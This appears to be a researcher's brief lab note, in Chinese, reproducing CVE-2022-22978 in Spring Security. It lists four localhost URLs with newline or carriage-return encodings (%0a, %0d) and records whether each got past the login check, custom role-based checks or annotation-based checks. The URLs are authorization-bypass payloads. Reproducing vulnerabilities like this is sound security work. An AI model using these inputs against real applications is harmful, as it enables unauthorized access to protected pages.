CVE-2022-22978

Spring Security

通过 Spring Security (成功)
http://localhost:9090/login%0a

通过 Spring Security with SayMyName (失败)
http://localhost:9090/name%0d

绕过 Spring Security 自定义 RBAC (失败)
http://localhost:9090/admin/admin%0d

绕过 Spring Security 注解 RBAC (失败)
http://localhost:9090/user/user%0a